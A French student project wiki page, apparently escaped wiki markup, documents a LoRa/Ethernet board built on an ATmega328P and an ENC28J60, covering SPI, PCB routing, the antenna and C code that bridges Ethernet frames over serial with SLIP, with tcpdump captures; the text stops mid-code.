 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
